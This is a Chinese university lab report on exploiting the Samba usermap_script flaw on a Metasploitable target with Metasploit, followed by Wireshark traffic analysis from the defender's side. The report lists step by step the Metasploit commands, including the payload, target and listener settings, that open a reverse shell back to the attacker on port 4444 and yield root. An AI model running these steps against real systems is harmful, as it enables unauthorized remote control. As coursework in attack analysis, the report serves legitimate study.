20253913 2025-2026-2 《网络攻防实践》第七周作业
《网络攻防实践》第七次作业报告
一、实践内容
1.1 Metasploit 渗透测试框架概述
Metasploit 是网络攻防实验中常用的漏洞利用平台,集成了漏洞模块、攻击载荷、会话管理和后渗透控制等功能。通过 Metasploit,攻击者可以按照“选择漏洞模块—配置目标参数—设置载荷—执行利用—建立会话”的流程完成一次较为完整的渗透测试。在教学实验环境中,Metasploit 的优势在于操作流程标准化、利用过程清晰、实验可复现性强,便于观察漏洞从触发到成功获取控制权的全过程。
本次实验中,Metasploit 主要用于调用 exploit/multi/samba/usermap_script 模块,对 Linux 靶机上的 Samba 服务漏洞进行利用,并通过反向 shell 载荷在攻击机上建立命令会话;在后续攻防对抗实践中,仍使用同一漏洞模块完成攻击实施,再由防守方通过抓包分析还原攻击过程。
1.2 Samba Usermap_script 漏洞原理
本次实验利用的是 Samba 服务中的 usermap_script 远程命令执行漏洞。Samba 是 Linux/Unix 系统中用于实现 SMB/CIFS 文件共享服务的重要软件,当其某些版本启用了用户名映射脚本功能且缺乏有效安全过滤时,攻击者可通过构造特殊用户名参数触发系统命令执行。由于该漏洞属于远程利用型漏洞,一旦利用成功,攻击者无需本地账户即可在目标主机上执行命令,严重时可直接取得高权限 shell。
这一漏洞的教学意义在于,它展示了“网络服务配置缺陷—远程命令执行—系统控制权限获取”的典型攻击链。与单纯的口令爆破或弱口令攻击不同,usermap_script 漏洞体现的是服务端程序本身的安全缺陷,因此即使目标系统口令强度较高,只要服务存在漏洞,攻击者仍可能直接获得控制权。
1.3 Wireshark 在攻防分析中的作用
Wireshark 是网络抓包与协议分析工具,可对网络通信中的链路层、网络层、传输层和应用层数据进行解析。在本次实验中,Wireshark 的作用主要体现在两个方面:一是对攻击过程进行抓包,确认攻击的源地址、目标地址、目标端口、攻击开始时间以及成功后的会话特征;二是对攻击完成后的 TCP 数据流进行跟踪,分析攻击者在获得 shell 后执行了哪些命令。
从攻防对抗视角来看,Metasploit 解决的是“如何打进去”的问题,而 Wireshark 解决的是“如何看清楚攻击是怎样发生的”这一问题。二者结合后,既能从攻击者角度验证漏洞利用是否成功,也能从防守者角度重建攻击过程并提取取证证据。
1.4 本次实验使用的攻击载荷分析
在实验过程中,所选用的 payload 为:
cmd/unix/reverse
该载荷属于 Unix/Linux 环境下的反向 shell 载荷,其工作机制是:漏洞利用成功后,由目标主机主动向攻击机发起连接,并在攻击机监听端口上建立一个可交互的命令 shell。与正向 shell 相比,反向 shell 在实验环境中更容易建立成功,因为攻击者只需在本地监听,目标主机主动回连即可完成会话建立。
需要注意的是,漏洞利用阶段与 shell 回连阶段对应的网络行为并不相同。漏洞利用的入口是 Samba 服务端口,而 4444 端口是攻击机用于接收目标主机回连的监听端口。因此,实验中出现的 4444 端口流量不应理解为“目标主机开启了 telnet 服务”,而应理解为“漏洞利用成功后建立了反向 shell 会话”。这一点对于后续抓包分析和攻击过程复原十分关键。
1.5 攻防对抗实践的目标与意义
本次作业不仅要求完成漏洞利用实验,还要求在攻防对抗场景下从攻击与防守两个角度分析同一过程。攻击方需要利用 Metasploit 对靶机发起渗透,获得远程控制权限并尝试进一步验证权限;防守方则需要结合 tcpdump、Wireshark 或 Snort 对攻击流量进行监听和分析,提取攻击者 IP、目标 IP、目标端口、攻击时间、利用漏洞、所使用的 payload 以及攻击成功后输入的命令等关键信息。
这种实验设计的意义在于,它不仅训练了漏洞利用能力,也强化了安全分析能力。只有在真正理解攻击流量结构、会话建立方式和命令执行痕迹的基础上,才能把“会操作工具”提升为“能解释攻击过程、能分析攻击证据、能提出防御思路”的综合能力。
二、实验过程
2.1 使用 Metasploit 进行 Linux 远程渗透攻击
2.1.1 实验目标与实验环境
本实验的目标是利用 Metasploit 对 Linux 靶机上的 Samba usermap_script 漏洞实施远程渗透攻击,获取目标主机的访问权限,并验证会话建立情况及所获得的权限级别。
| 角色 | 系统 | IP 地址 | 说明 |
|---|---|---|---|
| 攻击机 | Kali Linux | 192.168.5.5 | 运行 Metasploit |
| 靶机 | Metasploitable | 192.168.5.7 | 存在 Samba Usermap_script 漏洞 |


2.1.2 启动 Metasploit 并查找漏洞模块
首先,在 Kali 攻击机中启动 Metasploit 控制台:
msfconsole

进入 msfconsole 后,使用如下命令查找目标漏洞模块:
search usermap_script

搜索结果显示,Metasploit 中存在 exploit/multi/samba/usermap_script 模块,说明可以直接利用该模块对靶机 Samba 服务进行攻击。使用搜索功能的目的在于确认模块名称、利用类型和对应漏洞,以避免因模块选择错误而导致后续参数配置无效。
2.1.3 载入漏洞利用模块并查看可选载荷
确认模块存在后,使用如下命令载入模块:
use exploit/multi/samba/usermap_script

在初始实验过程中,也可以通过 use 0 的方式直接按编号进入目标模块,但从规范性和可读性角度出发,直接使用完整模块路径更清晰。模块加载完成后,使用以下命令查看当前模块可搭配的攻击载荷:
show payloads

通过查看载荷列表,可以根据目标系统类型和实验需求选择合适的 payload。本实验目标为 Linux 靶机,因此选择 Unix/Linux 环境下可用的命令执行型反向 shell 载荷更加合适。
2.1.4 配置 payload 与关键参数
在确认可用载荷后,设置本次实验所需 payload:
set payload cmd/unix/reverse
随后设置目标地址和本地监听地址:
set LHOST 192.168.5.5
set RHOST 192.168.5.7
show options

其中,RHOST 用于指定靶机地址,LHOST 用于指定攻击机本机地址。由于此处使用的是反向 shell 载荷,因此 LHOST 必须设置为靶机能够访问到的真实攻击机地址,否则即使漏洞触发成功,靶机也无法将 shell 回连到攻击机。使用 show options 的作用是再次核对所有关键参数,确保漏洞利用前的配置完整无误。
2.1.5 执行漏洞利用并建立会话
参数设置完成后,执行漏洞利用命令:
exploit
执行后,Metasploit 成功启动监听,并在漏洞触发后接收到来自目标主机的反向连接。会话建立后,系统显示成功打开 command shell session,说明攻击机已经获得目标主机返回的可交互命令行。该过程标志着本次远程渗透攻击已经成功完成,从网络层面看,说明靶机已主动向攻击机监听端口发起连接;从系统控制层面看,说明攻击者已获得目标主机上的命令执行能力。
2.1.6 会话验证与权限确认
在成功建立 shell 后,为验证当前会话确实运行于目标靶机上,并确认会话权限,依次执行了以下命令:
ifconfig
whoami
pwd
ls

其中,ifconfig 用于查看当前主机网络配置信息,以确认当前 shell 对应的主机 IP 与靶机地址一致;whoami 用于确认当前用户身份;pwd 用于查看当前工作目录;ls 用于枚举当前目录下的文件与文件夹。根据实验结果,成功获得了靶机的 shell,并且会话具有较高权限,能够正常查看主机网络信息和系统目录内容。
这一步非常重要,因为渗透成功并不只意味着“工具回显成功”,还必须通过具体命令执行结果来证明攻击者确实已经进入目标系统,并拥有实际操作能力。只有经过权限和环境验证,才能认定本次漏洞利用真正达成了实验目标。
2.1.7 抓包分析
在攻击执行前后,配合 Wireshark 对网络流量进行了抓取。从抓包分析可以得出以下结论:
- 攻击者 IP 为
192.168.5.5; - 目标主机 IP 为
192.168.5.7; - 利用的漏洞为 Samba
usermap_script远程命令执行漏洞; - 使用的 payload 为
cmd/unix/reverse; - 攻击成功后,靶机主动向攻击机监听端口建立反向 shell 会话;
- 会话建立后,攻击者执行了
ifconfig、whoami、pwd、ls等命令。


在分析该实验时,需要明确区分两个阶段:第一阶段是针对 Samba 漏洞的利用过程,第二阶段是漏洞利用成功后的 shell 回连过程。前者体现为对目标服务的攻击流量,后者体现为靶机向攻击机监听端口发起连接并承载命令交互内容。若将这两个阶段混为一谈,就容易在分析中误判端口含义和协议性质。
2.2 攻防对抗实践
2.2.1 实验环境与网络连通性测试
在攻防对抗实践中,实验环境进行了调整。
| 角色 | 主机标识 | 系统 | IP 地址 |
|---|---|---|---|
| 攻击方 | s1in | Kali Linux | 192.168.210.119 |
| 靶机方 | ech0 | Metasploitable Ubuntu | 192.168.210.67 |
在正式攻击前,首先进行了连通性测试,以验证攻击机与靶机之间网络可达。只有在网络可达的前提下,漏洞利用模块才能成功与目标服务建立通信。




2.2.2 攻击方实施过程
在 Kali 攻击机中,依次执行以下命令:
msfconsole
use exploit/multi/samba/usermap_script
set LHOST 192.168.210.119
set RHOST 192.168.210.67
show options
exploit



从实验过程可见,团队实践仍然沿用了对 Samba usermap_script 漏洞的利用思路。设置完参数后执行 exploit,Metasploit 成功建立命令会话,并能够进入靶机 shell。由于攻击成功后会话权限为 root,说明该漏洞利用在靶机上直接取得了高权限控制能力。随后又通过执行 ifconfig 命令对当前控制主机的 IP 进行了验证,确认该会话确实运行在靶机环境中。
2.2.3 防守方抓包分析
在攻击实施前,防守方已在靶机侧打开 Wireshark 进行流量抓取。根据抓包结果,可以对攻击过程作如下分析。




(1)攻击者 IP
攻击者主机地址为 192.168.210.119,即 Kali 攻击机。该地址在抓包中表现为主动发起攻击相关流量的一方。
(2)目标主机 IP
目标主机地址为 192.168.210.67,即 Metasploitable Ubuntu 靶机。该地址在抓包中表现为接受攻击流量并在漏洞利用成功后向攻击机发起回连的一方。
(3)攻击目标端口
根据实验记录,攻击入口为 Samba 服务,对应抓包中识别出的目标端口为 139。这一端口是本次漏洞利用的目标端口,反映的是攻击者针对 Samba 服务发起的攻击行为。相比之下,4444 是攻击成功后靶机回连攻击机时所使用的监听端口,二者在分析中必须严格区分。
(4)攻击开始时间
抓包记录显示,第一个相关的 ARP 询问包时间约为 2026 年 4 月 15 日 22:09。若从链路层准备行为角度来看,这一时间可以视为攻击开始前的网络准备阶段;若从严格的漏洞利用阶段定义,则应以攻击机随后对目标 Samba 服务端口发起连接的时刻作为正式攻击起点。
(5)利用漏洞
本次攻击利用的漏洞为 Samba Usermap_script 远程命令执行漏洞,对应 Metasploit 模块为:
exploit/multi/samba/usermap_script
该漏洞允许攻击者通过构造恶意请求远程执行命令,是本次实验获取靶机 shell 的根本原因。
(6)使用的 Shellcode / Payload
本次攻击使用的 payload 为:
cmd/unix/reverse
从利用效果来看,该载荷属于反向 shell 载荷。漏洞利用成功后,靶机主动连接攻击机监听端口,并建立交互式命令行会话。因此,若按作业要求回答“使用了什么 Shellcode”,可表述为:本次攻击使用的是 Metasploit 提供的 Unix 反向 shell 命令载荷。
(7)攻击成功后输入的命令
通过 TCP 流跟踪可以恢复出攻击成功后执行的主要命令,包括:
ifconfig
whoami
pwd
ls
这些命令主要用于验证当前控制环境的网络配置、用户身份、工作目录和文件系统情况。其中,ifconfig 用于确认当前 shell 所在主机的 IP,whoami 用于确认当前权限级别,pwd 和 ls 则用于判断当前目录位置和文件系统结构。
2.2.4 题目回答
结合攻防对抗实验过程和抓包分析结果,可对题目要求逐项回答如下:
| 分析项目 | 结论 |
|---|---|
| 攻击者 IP | 192.168.210.119 |
| 目标主机 IP | 192.168.210.67 |
| 攻击目标端口 | 139 |
| 攻击开始时间 | 2026 年 4 月 15 日 22:09 左右可见前置 ARP 流量,正式漏洞利用开始于随后面向 Samba 服务的连接 |
| 利用漏洞 | Samba Usermap_script 远程命令执行漏洞 |
| 使用 payload | cmd/unix/reverse |
| 回连监听端口 | 4444 |
| 攻击成功后执行的命令 | ifconfig、whoami、pwd、ls |
该表对题目要求中的“攻击者 IP、目标 IP 和端口、攻击发起时间、攻击利用漏洞、使用的 Shellcode 以及成功之后输入的信息”等内容进行了集中归纳,能够较完整地反映本次攻防对抗实践的分析结果。
三、学习中遇到的问题及解决
3.1 问题一:LHOST 设置错误,导致漏洞触发后无法收到反向 shell
由于本次实验使用的是 cmd/unix/reverse 反向 shell 载荷,因此 LHOST 参数必须设置为靶机能够访问到的攻击机真实地址。如果 LHOST 配置错误,例如填写了错误网卡地址、无效地址或不可达地址,那么即使靶机成功执行了 payload,也无法将 shell 回连到攻击机,最终表现为 Metasploit 迟迟无法建立 session。
对此,应在攻击前通过 ifconfig 或 ip addr 明确攻击机当前实际 IP,并在 show options 中反复核对配置。与其在攻击失败后反复尝试 exploit,不如先确保参数本身没有问题。该问题也说明,在渗透实验中,漏洞利用是否成功并不只由漏洞本身决定,还会受到网络路径和载荷参数配置的直接影响。
3.2 问题二:抓包分析时容易混淆漏洞利用端口与回连端口
在防守分析阶段,一个非常典型的问题是把“漏洞利用的目标端口”和“攻击成功后的回连端口”混淆。例如本次实验中,Samba 服务端口是漏洞利用的入口,而 4444 是攻击机监听、用于接收靶机回连 shell 的端口。如果分析时只看到 4444 端口的通信,而没有结合模块名称和数据流方向进行判断,就容易将其误写成目标服务端口,甚至误判为 telnet 类型连接。
解决这一问题的方法是从攻击链整体出发,按阶段分析流量。首先确定攻击模块所针对的目标服务,再观察抓包中谁是连接发起者、谁是回连者,最后结合 Follow TCP Stream 分析命令执行内容。只有把“漏洞利用阶段”和“会话建立阶段”分开理解,才能准确解释端口、协议与会话之间的关系。
四、学习感想和体会
通过本次第七次作业,我对网络攻防实验中“漏洞利用—会话建立—流量分析—攻击复原”这一完整链条有了更加系统的理解。过去对渗透测试的认识往往停留在“工具是否成功拿到 shell”这一结果上,而本次实验让我更加清楚地认识到,真正重要的不只是结果本身,更是漏洞为何能够被利用、会话是如何建立的、抓包中哪些流量代表漏洞触发、哪些流量代表成功控制,以及如何依据这些流量证据复原整个攻击过程。
在实际操作中,我进一步体会到 Metasploit 并不是一个“只要执行 exploit 就一定成功”的黑盒工具。模块选择、payload 类型、目标 IP、监听地址以及网络是否可达,都会直接影响实验结果。尤其是反向 shell 的建立过程,使我对 LHOST 和回连机制有了更直观的理解,也让我认识到渗透测试本质上是漏洞、系统、网络三者共同作用的过程,而不是单纯的命令堆砌。
在防守分析部分,我最大的收获是学会了从抓包证据出发进行判断,而不是凭主观印象解释攻击行为。通过对攻击开始时间、目标端口、流量方向和 Follow TCP Stream 内容的分析,我对“攻击链重建”这一概念有了更加具体的认识。特别是在区分漏洞利用流量与回连 shell 流量时,我意识到安全分析必须强调严谨性,只有结合模块名称、协议特征和通信方向进行综合判断,结论才具有可靠性。
总体而言,本次实验不仅提高了我对 Metasploit 和 Wireshark 的实际使用能力,也让我对渗透测试和流量分析之间的关系有了更加深入的理解。站在攻击者视角时,我学会了如何利用漏洞获取控制权;站在防守者视角时,我学会了如何利用抓包证据还原攻击过程。这样的双重视角训练,使我对网络攻防实践课程的理解更加完整,也为后续进一步学习漏洞分析、攻击检测与安全防护打下了较为扎实的基础。

浙公网安备 33010602011771号